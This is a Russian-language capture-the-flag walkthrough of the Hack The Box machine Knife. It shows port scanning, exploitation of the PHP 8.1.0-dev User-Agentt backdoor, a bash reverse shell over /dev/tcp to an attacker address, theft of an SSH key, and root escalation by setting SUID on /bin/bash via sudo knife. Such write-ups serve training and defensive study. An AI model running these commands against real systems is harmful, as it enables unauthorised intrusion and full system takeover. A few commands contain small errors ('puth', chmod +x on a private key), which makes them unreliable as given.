Тема сегодняшней статьи «Эксплуатация бэкдора PHP 8.1.0-dev» Я вместе с вами пройду простую виртуальную машину Knife с площадки Hack The Box, которая была оперативна пофиксена, но еще вполне может встретиться при пентесте и в поисках уязвимостей.
Еще по теме: Взлом веб-сервера на Windows и Apache через SSRF
Сканирование портов
Сразу добавим IP-адрес машины в /etc/hosts, чтобы в будущем взаимодействовать по удобному адресу и не вводить IP.
1 |
10.10.10.242 knife.htb |
И перейдем к сканированию портов.
Сканирование портов
Сканирование портов — это начало начал любого пентеста и атаки. Операция позволит определить, какие службы на хосте принимают соединение. После этого этапа, будет выбран следующий шаг.
Самый популярный сканер — это Nmap. Улучшить его КПД можно с помощью этого скрипта:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Он работает в два этапа. Первый производит быстрое сканирование, второй — более детальное сканирование, используя имеющиеся скрипты (опция -A).
Сканирование обнаружило 2 открытых порта: 22 (служба SSH) и 80 (Apache 2.4.41). SSH пока не интересует, вместо этого глянем на сайт.
На сайте с несколькими скриптами JS не нашлось нечего интересно.
Нужно приступать к более глубокому анализу. Для этого цели подходит тулза WhatWeb, который распознает веб‑технологии, движок сайта, инструменты статистики, библиотеки JavaScript и т.д. Кроме этого WhatWeb предоставляет 1700 плагинов, которые могут быть использованы при агрессивном сканировании. При обычном запуске, будет выполнен только один запрос.
Из всей найденной информации наиболее интересен заголовок X-Powered-By, по которому можно определить версию PHP 8.1.0-dev. Слово dev указывает на то, что версия PHP предварительная, а это говорит о том, что в ней могут быть уязвимости.
Поиск эксплоитов
Эсплоиты для пентеста можно поискать на специализированных сайтах для поиска уязвимостей или с помощью поисковиков. Если вы используете Kali Linux, можно попробовать утилиту searchsploit.
В данном конкретном случае searchsploit нам не принесла результатов, а вот в Гуглик смог найти что-то интересное.
Точка опоры
Версия PHP 8.1.0-dev была выпущена с бэкдором, но разработчики быстро обнаружили его и удалили в релизе.
Если эта версия PHP работает на сервере, злоумышленник может выполнить произвольный код, отправив заголовок User-Agentt. Как можно заметить, если изучить исходники, код выполняется в функции zend_eval_string, если строка из HTTP-заголовка User-Agentt начинается с zerodium.
Для эксплуатации уязвимости можно использовать эксплоит Ричарда Джонса, он даст нам RCE.
1 |
python3 php_8.1.0-dev.py -u http://knife.htb/ -c 'id' |
И сразу кидаем реверс‑шелл.
Реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель» Более подробно о слушателях и обратном шеле в статье «Использование Mestploit».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
1 |
apt install rlwrap |
В качестве самого листенера при этом можно использовать широко известный netcat.
1 |
rlwrap nc -lvp [port] |
Выполняем подключение и ловим бэкконнект.
1 |
python3 php_8.1.0-dev.py -u http://knife.htb/ -c "/bin/bash -c 'bash -i >&/dev/tcp/[ip]/[port] 0>&1'" |
В директории /home/james/.ssh находим пару ключей пользователя. Так как соединение SSH более стабильное, копируем приватный ключ на локальный хост, назначаем права 0600 и подключаемся к хосту. Так мы берем флаг пользователя.
1 2 |
chmod +x id_rsa ssh -i ./id_rsa james@knife.htb |
Локальное повышение привилегий
Первым делом проверяем наиболее вероятные места повышения привилегий в Linux — в первую очередь настройки sudoers.
Sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы.
Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
В sudoers прописан привилегированный запуск программы /usr/bin/knife без пароля (NOPASSWD). Этот файл — ссылка на программу в директории /opt, которая, возможно, связана с языком программирования Ruby. Об этом говорит упоминание слова gem, что, скорее всего, указывает на использование системы управления пакетами RubyGems.
Посмотрим справку приложения. Здесь интересна команда exec, которая принимает один аргумент — путь к скрипту (не считая аргументов самого скрипта).
Что это за скрипт, не говорится, но мы помним намек на RubyGems. Сделаем тестовый скрипт на Ruby, который выводит строку Hello World!, и отдадим его приложению.
1 2 |
echo 'puth "Hello World!"' > test.rb sudo /usr/bin/knife exec test.rb |
Скрипт успешно отработал, а значит, осталось лишь изменить его, чтобы он выполнял нужные нам команды. Использовать функцию system, чтобы запустить реверс‑шелл, не получилось, поэтому пришлось искать другие способы закрепиться в привилегированном контексте. Например, можно записать ключи SSH, создать привилегированных пользователей и так далее. Я решил назначить бит SUID оболочке /bin/bash.
Бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса.
После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
1 2 3 |
echo "system('chmod +s /bin/bash')" > test.rb sudo /usr/bin/knife exec test.rb /bin/bash -p |
Мы получаем флаг рута и таким образом захватываем машину.
Еще по теме: Прохождение виртуалки Laboratory Hack The Box